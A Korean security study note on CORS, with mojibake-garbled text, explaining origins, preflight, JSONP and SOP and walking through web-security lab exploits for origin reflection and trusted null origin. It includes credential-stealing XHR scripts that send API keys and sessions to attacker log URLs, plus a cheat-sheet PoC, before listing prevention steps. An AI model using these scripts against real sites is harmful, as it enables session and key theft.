Cross-origin resource sharing (CORS)
๐ What is CORS?
CORS(๊ต์ฐจ ์ถ์ฒ ๋ฆฌ์์ค ๊ณต์ )๋ ์ถ๊ฐ HTTP ํค๋๋ฅผ ์ฌ์ฉํ์ฌ ํ ์ถ์ฒ์์ ์คํ ์ค์ธ ์น ์ ํ๋ฆฌ์ผ์ด์
์ด ๋ค๋ฅธ ์ถ์ฒ์ ์ ํํ ์์์ ์ ๊ทผํ ์ ์๋ ๊ถํ์ ๋ถ์ฌํ๋๋ก ๋ธ๋ผ์ฐ์ ์์ ์๋ ค์ฃผ๋ ์ฒด์ฌ๋ก SOP(๋์ผ ์ถ์ฒ ์ ์ฑ
)์ ํ์ฅํ๊ณ ์ ์ฐ์ฑ์ ์ถ๊ฐํ ๊ฒ์
๋๋ค.
HTTP ํค๋๋ฅผ ์ถ๊ฐํ์ฌ ์ ์กํ๋ ๋ฐฉ๋ฒ์ ์ฌ์ฉํ๋ฉฐ JSONP(Json with Padding) ๋ฐฉ๋ฒ์ ํตํด CORS๋ฅผ ๋์ฒดํ ์ ์์ต๋๋ค.
๋ง์ ์น์ฌ์ดํธ๋ CORS๋ฅผ ์ฌ์ฉํ์ฌ ํ์ ๋๋ฉ์ธ ๋ฐ ์ ๋ขฐํ ์ ์๋ ์ 3์์ ์ก์ธ์ค๋ฅผ ํ์ฉํฉ๋๋ค. ์ด๋ CORS์ ๊ตฌํ์์ ์ค์๋ฅผ ํฌํจํ๊ฑฐ๋ ๋๋ฌด ์ ์ฐํ๊ฒ ์ค์ ์ ํ ๊ฒฝ์ฐ ์น ์ดํ๋ฆฌ์ผ์ด์ ์ ์ ์์ ์ธ ํ๋ฆ์ ์ ์ฉํ์ฌ ํ ์ฌ์ฉ์์ ๊ฐ์ธ์ ๋ณด๋ฅผ ํ์น๊ฑฐ๋ ์นจํด๋ฅผ ์ผ์ผํฌ ๊ฐ๋ฅ์ฑ์ด ์กด์ฌํฉ๋๋ค.
์ถ์ฒ(Origin)๋ ๋ฌด์์ธ๊ฐ?
URL ๊ตฌ์กฐ
์ถ์ฒ(Origin)๋ Protocol(Scheme๋ก๋ ๋ถ๋ฆผ)๊ณผ Host(Domain์ผ๋ก๋ ๋ถ๋ฆผ), ๊ทธ๋ฆฌ๊ณ ์ ๊ทธ๋ฆผ์๋ ๋์์์ง ์์ง๋ง :80, :443 ๊ณผ ๊ฐ์ ํฌํธ๋ฒํธ ๊น์ง ๋ชจ๋ ํฉ์น๊ฒ์ ์๋ฏธํฉ๋๋ค
Access-Control-Allow-Origin
๊ต์ฐจ ์ถ์ฒ ๋ฆฌ์์ค ๊ณต์ (CORS)๋ ๋ฐ์ ์ธก์์ CORS ํค๋๋ฅผ ์ค์ ํด ์์ฒญํ๋ฉด, ์์ ์ธก์์ ํค๋๋ฅผ ๊ตฌ๋ถํด ์ ํด์ง ๊ท์น์ ๋ง๊ฒ ๋ฐ์ดํฐ๋ฅผ ๊ฐ์ ธ๊ฐ ์ ์๋๋ก ์ค์ ํฉ๋๋ค.
Access-Control-Allow-Origin ํค๋๋ ์์ฒญ ์๋ต๊ฐ์ ํฌํจ๋ ํค๋์
๋๋ค.
์น ๋ธ๋ผ์ฐ์ ๋ Access-Control-Allow-Origin์ ์์ฒญ ์น์ฌ์ดํธ์ ์ถ์ฒ์ ๋น๊ตํ๊ณ ์ผ์นํ๋ ๊ฒฝ์ฐ ์๋ต์ ๋ํ ์ก์ธ์ค๋ฅผ ํ์ฉํฉ๋๋ค.
์๋์ ์์ฒญ์ฝ๋๋ฅผ ์ดํด๋ณด๋ฉด ๋ฐ์ ์ธก์์ POST๋ฐฉ์์ผ๋ก HTTP ์์ฒญ์ ๋ณด๋์ผ๋, OPTIONS ๋ฉ์๋๋ฅผ ๊ฐ์ง HTTP ์์ฒญ์ด ์ ๋ฌ๋์๋๋ฐ ์ด๋ฅผ CORS perflight
๋ผ๊ณ ํ๋ฉฐ, ์์ ์ธก์ ์น ๋ฆฌ์์ค๋ฅผ ์์ฒญํด๋ ๋๋์ง ์ง์ํ๋ ๊ณผ์ ์
๋๋ค.
๋ฐ์ ์ธก์ ์์ฒญ์ ์ดํด๋ณด๋ฉด Access-Control-Request
๋ก ์์ํ๋ ํค๋๊ฐ ์กด์ฌํ๋ ๊ฒ์ ํ์ธํ ์ ์๋๋ฐ, ํด๋นํ๋ ํค๋ ๋ค์ ๋ฐ๋ผ์ค๋ Method์ Headers๋ ๊ฐ๊ฐ ๋ฉ์๋์ ํค๋๋ฅผ ์ถ๊ฐ์ ์ผ๋ก ์ฌ์ฉํ ์ ์๋์ง ์ง์ํฉ๋๋ค.
์๋์ ๊ณผ์ ์ ๋ง์น๋ฉด ๋ธ๋ผ์ฐ์ ๋ ์์ ์ธก์ ์๋ต์ด ๋ฐ์ ์ธก์ ์์ฒญ๊ณผ ์์ํ๋์ง ํ์ธํ๊ณ , ๊ทธ๋์ผ ๋น๋ก์ POST ์์ฒญ์ ๋ณด๋ด ์์ ์ธก์ ์น ๋ฆฌ์์ค๋ฅผ ์์ฒญํ๋ HTTP ์์ฒญ์ ๋ณด๋
๋๋ค.
- ์น ๋ฆฌ์์ค ์์ฒญ ์ฝ๋
/*
XMLHttpRequest ๊ฐ์ฒด๋ฅผ ์์ฑํฉ๋๋ค.
XMLHttpRequest๋ ์น ๋ธ๋ผ์ฐ์ ์ ์น ์๋ฒ ๊ฐ์ ๋ฐ์ดํฐ ์ ์ก์
๋์์ฃผ๋ ๊ฐ์ฒด ์
๋๋ค. ์ด๋ฅผ ํตํด HTTP ์์ฒญ์ ๋ณด๋ผ ์ ์์ต๋๋ค.
*/
xhr = new XMLHttpRequest();
/* https://theori.io/whoami ํ์ด์ง์ POST ์์ฒญ์ ๋ณด๋ด๋๋ก ํฉ๋๋ค. */
xhr.open('POST', 'https://theori.io/whoami');
/* HTTP ์์ฒญ์ ๋ณด๋ผ ๋, ์ฟ ํค ์ ๋ณด๋ ํจ๊ป ์ฌ์ฉํ๋๋ก ํด์ค๋๋ค. */
xhr.withCredentials = true;
/* HTTP Body๋ฅผ JSON ํํ๋ก ๋ณด๋ผ ๊ฒ์ด๋ผ๊ณ ์์ ์ธก์ ์๋ ค์ค๋๋ค. */
xhr.setRequestHeader('Content-Type', 'application/json');
/* xhr ๊ฐ์ฒด๋ฅผ ํตํด HTTP ์์ฒญ์ ์คํํฉ๋๋ค. */
xhr.send("{'data':'WhoAmI'}");
- ๋ฐ์ ์ธก์ HTTP ์์ฒญ ๋ฐ ์๋ฒ์ ์๋ต
# HTTP ์์ฒญ
OPTIONS /whoami HTTP/1.1
Host: theori.io
Connection: keep-alive
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type
Origin: https://dreamhack.io
Accept: */*
Referer: https://dreamhack.io/
# ์๋ฒ ์๋ต
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://dreamhack.io
Access-Control-Allow-Methods: POST, GET, OPTIONS
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: Content-Type
Header | ์ค๋ช |
---|---|
Access-Control-Allow-Origin | ํค๋ ๊ฐ์ ํด๋นํ๋ Origin์์ ๋ค์ด์ค๋ ์์ฒญ๋ง ์ฒ๋ฆฌํฉ๋๋ค |
Access-Control-Allow-Methods | ํค๋ ๊ฐ์ ํด๋นํ๋ ๋ฉ์๋์ ์์ฒญ๋ง ์ฒ๋ฆฌํฉ๋๋ค |
Access-Control-Allow-Credentials | ์ฟ ํค ์ฌ์ฉ ์ฌ๋ถ๋ฅผ ํ๋จํฉ๋๋ค. ์์์ ๊ฒฝ์ฐ ์ฟ ํค์ ์ฌ์ฉ์ ํ์ฉํฉ๋๋ค. |
Access-Control-Allow-Headers | ํค๋ ๊ฐ์ ํด๋นํ๋ ํค๋์ ์ฌ์ฉ ๊ฐ๋ฅ ์ฌ๋ถ๋ฅผ ๋ํ๋ ๋๋ค. |
JSON with Padding (JSONP)
JSONP๋ CORS๊ฐ ์๊ธฐ๊ธฐ ์ ์ ์ฌ์ฉํ๋ ๋ฐฉ๋ฒ์ผ๋ก ํ์ฌ๋ ๊ฑฐ์ ์ฌ์ฉํ์ง ์๋ ์ถ์ธ์ด๊ธฐ ๋๋ฌธ์, ์๋กญ๊ฒ ์ฝ๋๋ฅผ ์์ฑํ ๋์๋ CORS๋ฅผ ์ฌ์ฉํด์ผ ํฉ๋๋ค.
์ด๋ฏธ์ง๋ ์๋ฐ์คํฌ๋ฆฝํธ,CSS ๋ฑ์ ๋ฆฌ์์ค๋ SOP์ ๊ตฌ์ ๋ฐ์ง ์๊ณ ์ธ๋ถ ์ถ์ฒ์ ๋ํด ์ ๊ทผ์ ํ์ฉํ๋๋ฐ JSONP ๋ฐฉ์์ ์ด๋ฌํ ํน์ง์ ์ด์ฉํด <script>
ํ๊ทธ๋ก Corss Origin์ ๋ฐ์ดํฐ๋ฅผ ๋ถ๋ฌ์ต๋๋ค.
ํ์ง๋ง <script>
ํ๊ทธ ๋ด์์ ๋ฐ์ดํฐ๋ฅผ ์๋ฐ์คํฌ๋ฆฝํธ์ ์ฝ๋๋ก ์ธ์ํ๊ธฐ ๋๋ฌธ์ Callback ํจ์๋ฅผ ํ์ฉํด์ผ ํฉ๋๋ค. Cross Origin์ ์์ฒญํ ๋ callback ํ๋ผ๋ฏธํฐ์ ์ด๋ค ํจ์๋ก ๋ฐ์์ค๋ ๋ฐ์ดํฐ๋ฅผ ํธ๋ค๋งํ ์ง ๋๊ฒจ์ฃผ๋ฉด, ๋์ ์๋ฒ๋ ์ ๋ฌ๋ Callback์ผ๋ก ๋ฐ์ดํฐ๋ฅผ ๊ฐ์ธ ์๋ตํฉ๋๋ค.
# ์น ๋ฆฌ์์ค ์์ฒญ ์ฝ๋
<script>
/* myCallback์ด๋ผ๋ ์ฝ๋ฐฑ ํจ์๋ฅผ ์ง์ ํฉ๋๋ค. */
function myCallback(data){
/* ์ ๋ฌ๋ฐ์ ์ธ์์์ id๋ฅผ ์ฝ์์ ์ถ๋ ฅํฉ๋๋ค.*/
console.log(data.id)
}
</script>
<!--
https://theori.io์ ์คํฌ๋ฆฝํธ๋ฅผ ๋ก๋ํ๋ HTML ์ฝ๋์
๋๋ค.
๋จ, callback์ด๋ผ๋ ์ด๋ฆ์ ํ๋ผ๋ฏธํฐ๋ฅผ myCallback์ผ๋ก ์ง์ ํจ์ผ๋ก์จ
์์ ์ธก์๊ฒ myCallback ํจ์๋ฅผ ์ฌ์ฉํด ์์ ๋ฐ๊ฒ ๋ค๊ณ ์๋ฆฝ๋๋ค.
-->
<script src='http://theori.io/whoami?callback=myCallback'></script>
# ์น ๋ฆฌ์์ค ์์ฒญ์ ๋ฐ๋ฅธ ์๋ต ์ฝ๋
/*
์์ ์ธก์ myCallback ์ด๋ผ๋ ํจ์๋ฅผ ํตํด ์์ฒญ์ธก์ ๋ฐ์ดํฐ๋ฅผ ์ ๋ฌํฉ๋๋ค.
์ ๋ฌํ ๋ฐ์ดํฐ๋ ํ์ฌ theori.io์์ ํด๋ผ์ด์ธํธ๊ฐ ์ฌ์ฉ ์ค์ธ ๊ณ์ ์ ๋ณด์ธ
{'id': 'dreamhack'} ์
๋๋ค.
*/
myCallback({'id':'dreamhack'});
SOP(Same-Origin Policy)๋?
์น ์ฌ์ดํธ์์ ์๋ก๊ฐ ์๋ก๋ฅผ ๊ณต๊ฒฉํ๋ ๊ฒ์ ๋ฐฉ์งํ๋ ๊ฒ์ ๋ชฉํ๋ก ํ๋ ์น ๋ธ๋ผ์ฐ์ ๋ณด์ ๋ฉ์ปค๋์ฆ์
๋๋ค.
๋ค๋ฅธ ์ถ์ฒ๋ก์ ๋ฆฌ์์ค ์์ฒญ์ ์ ํํ๋ ๊ฒ๊ณผ ๊ด๋ จ๋ ๋๊ฐ์ง ์ ์ฑ
์ด ์กด์ฌํ๋๋ฐ CORS ์ SOP์
๋๋ค.
SOP๋ ๋ง ๊ทธ๋๋ก ๊ฐ์ ์ถ์ฒ์์๋ง ๋ฆฌ์์ค๋ฅผ ๊ณต์ ํ ์ ์๋ค. ๋ผ๋ ๊ท์น์ ๊ฐ์ง ์ ์ฑ ์ ๋๋ค
๊ฐ์ ์ถ์ฒ, ๋ค๋ฅธ ์ถ์ฒ ๊ตฌ๋ถ
http://normal-website.com/example/example.html
์ถ์ฒ๊ตฌ๋ถ
CORS vulnerability with basic origin reflection
์์ ํ์ง ์์ CORS ์ ์ฑ ์ผ๋ก ๊ด๋ฆฌ์์ ๋ฐ์ดํฐ๊ฐ ๋ ธ์ถ๋๋ ์ทจ์ฝ์ ์ ๋๋ค.
์ผ๋ฐ๊ณ์ wiener๋ก ๋ก๊ทธ์ธ ์ ์๋ฒ์ธก์์ ๊ทธ์ ๋ฐ๋ฅธ apikey์ session๊ฐ์ ํ ๋นํด์ค๋๋ค
apikey,sessions ๊ฐ ํ ๋น
ํด๋น ํจํท์ Origin:https://example.com์ Originํค๋์ ์์์ ๋๋ฉ์ธ ์ฃผ์๋ฅผ ์ถ๊ฐํ์ฌ ์ ์ก ์ ์๋ต๊ฐ์ ์์์ ๋๋ฉ์ธ์ด ๋ฆฌ์์ค๋ฅผ ๊ณต์ ํ ์ ์๋๋ก ํ์ฉํ๋ค๋ ์๋ต๊ฐ์ ํ์ธํ ์ ์์ต๋๋ค
Access-Control-Allow-Origin ์๋ต
XMLHttpRequest๋ฅผ ํตํด cors(๊ต์ฐจ ์ถ์ฒ)๋ฅผ ์์ฒญ์ ํ๊ฒ ๋๋๋ฐ ์ฌ๊ธฐ์ CORS ํค๋์ ํ์ฉํ๊ณ ์ ํ๋ ๋๋ฉ์ธ์ด ์ง์ ๋์ด ์์ด์ผ ํฉ๋๋ค. XHR์ ์๋ฒ์ ์ํธ์์ฉ ํ๊ธฐ ์ํด ์ฌ์ฉ๋๋ ๊ฐ์ฒด๋ก XML ์ด์ธ์ ๋ชจ๋ ๋ฐ์ดํฐ๋ฅผ ๋ฐ์์ฌ ์ ์์ต๋๋ค.
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://acdf1fab1ff37df0c0d852f7003800ce.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>
๊ณต๊ฒฉ์ฝ๋ ์
๋ ฅ
ํด๋น ๊ณต๊ฒฉ์ฝ๋ ์ ๋ ฅ ํ ์ฌ์ฉ์๊ฐ ๊ณต๊ฒฉ์ฝ๋๊ฐ ์ฝ์ ๋ ํ์ด์ง์ ์ ์ ์ req.open()์ฃผ์์ ์ง์ ๋ ํ์ด์ง๋ก ์๋ ๋ก๋ํ๊ฒ ๋์ด ์ฌ์ฉ์์ ํค๊ฐ,์ธ์ ๊ฐ์ ๊ณต๊ฒฉ์์ ์๋ฒ๋ก๊ทธ์์ ํ์ธํ ์ ์์ต๋๋ค
๊ณต๊ฒฉ์ ์๋ฒ ๋ก๊ทธ ๊ธฐ๋ก
CORS vulnerability with trusted null origin
null ์ถ์ฒ๋ฅผ ํํฐ๋ง ํ์ง ์์ null์ ์ ๋ขฐํ์ฌ ๊ณต๊ฒฉํ๋ ์ทจ์ฝ์ ์ ๋๋ค.
apikey์ session์ด ๋์ด๊ฐ๋ /accountDetailsํ์ด์ง์์ Origin: null ์ ์ถ๊ฐ์ ์๋ต๊ฐ์ ์ ๋ขฐํ๋ค๋ ํค๋๊ฐ ์ถ๊ฐ๋๊ฒ์ ํ์ธํ ์ ์์ต๋๋ค
Origin:null ํค๋ ์ถ๊ฐ
์๋์ ๊ฐ์ ์คํฌ๋ฆฝํธ๋ก ๊ณต๊ฒฉ์์ ์๋ฒ ๋ก๊ทธ์์ ์ธ์ ๊ฐ๊ณผ apikey๋ฅผ ํ์ทจํ ์ ์์ต๋๋ค
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','apikey,session์ ๋ฐ๋ URL',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='๊ณต๊ฒฉ์์ ์๋ฒ URL/log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
//์ค์ ๊ณต๊ฒฉ์ฝ๋
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://ac991fb01e7a7a9fc0d20e2e00d300f5.web-security-academy.net/accountDetails/',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://exploit-acfa1f441eb97a45c0570e93019b000f.web-security-academy.net/log?key='+this.responseText;
};
</script>"></iframe>
๊ณต๊ฒฉ์์ ์๋ฒ ๋ก๊ทธ ๊ธฐ๋ก
๐ Cheat sheet
-
Vulnerable Implementation
GET /endpoint HTTP/1.1
Host: victim.example.com
Origin: https://evil.com
Cookie: sessionid=...
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
{"[private API key]"}
-
Proof of concept
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://victim.example.com/endpoint',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//atttacker.net/log?key='+this.responseText;
};
or
<html>
<body>
<h2>CORS PoC</h2>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};
xhr.open("GET",
"https://victim.example.com/endpoint", true);
xhr.withCredentials = true;
xhr.send();
}
</script>
</body>
</html>
๐ How to prevent CORS-based attacks
CORS์ทจ์ฝ์ ์ ์ฃผ๋ก ์๋ชป๋ ๊ตฌ์ฑ์์ ๋ฐ์ํฉ๋๋ค. ๋ฐ๋ผ์ ์๋ฐฉ๋ฐฉ๋ฒ์ ์ ๋๋ก ๋ ์ค์ ์ ๋๋ค
-
๋๋ฉ์ธ ๊ฐ ์์ฒญ์ ์ ์ ํ ๊ตฌ์ฑ
์น ๋ฆฌ์์ค์ ๋ฏผ๊ฐํ ์ ๋ณด๊ฐ ํฌํจ๋ ๊ฒฝ์ฐ Access-Control-Allow-Origin ํค๋์ ์ถ์ฒ๋ฅผ ์ฌ๋ฐ๋ฅด๊ฒ ์ง์ ํด์ผ ํฉ๋๋ค
-
์ ๋ขฐํ ์ ์๋ ์ฌ์ดํธ๋ง ํ์ฉ
๋น์ฐํด ๋ณด์ด์ง๋ง Access-Control-Allow-Originํค๋์ ์ง์ ๋ ์ถ์ฒ๋ ์ ๋ขฐํ ์ ์๋ ์ฌ์ดํธ์ฌ์ผ ํฉ๋๋ค.
ํนํ, ์ ํจ์ฑ ๊ฒ์ฌ ์์ด ๋๋ฉ์ธ ๊ฐ ์์ฒญ์ ์ถ์ฒ๋ฅผ ๋์ ์ผ๋ก ๋ฐ์ํ๋ ๊ฒ์ ์ฝ๊ฒ ์
์ฉ๋ ์ ์์ผ๋ฏ๋ก ํผํด์ผ ํฉ๋๋ค
-
null ํ์ฉ ๋ชฉ๋ก ํผํ๊ธฐ
Access-Control-Allow-Origin: null ํค๋๋ฅผ ์ฌ์ฉํ์ง ๋ง์์ผ ํฉ๋๋ค.
-
๋ด๋ถ ๋คํธ์ํฌ์์ ์์ผ๋์นด๋ ์ฌ์ฉ ๊ธ์ง
๋ด๋ถ ๋ธ๋ผ์ฐ์ ๊ฐ ์ ๋ขฐํ ์ ์๋ ์ธ๋ถ ๋๋ฉ์ธ์ ์ก์ธ์ค ํ ์ ์๋ ๊ฒฝ์ฐ ๋ด๋ถ ๋ฆฌ์์ค๋ฅผ ๋ณดํธํ๊ธฐ ์ํด ๋คํธ์ํฌ ๊ตฌ์ฑ์ ์ ๋ขฐํ๋ ๊ฒ๋ง์ผ๋ก๋ ์ถฉ๋ถํ์ง ์์ต๋๋ค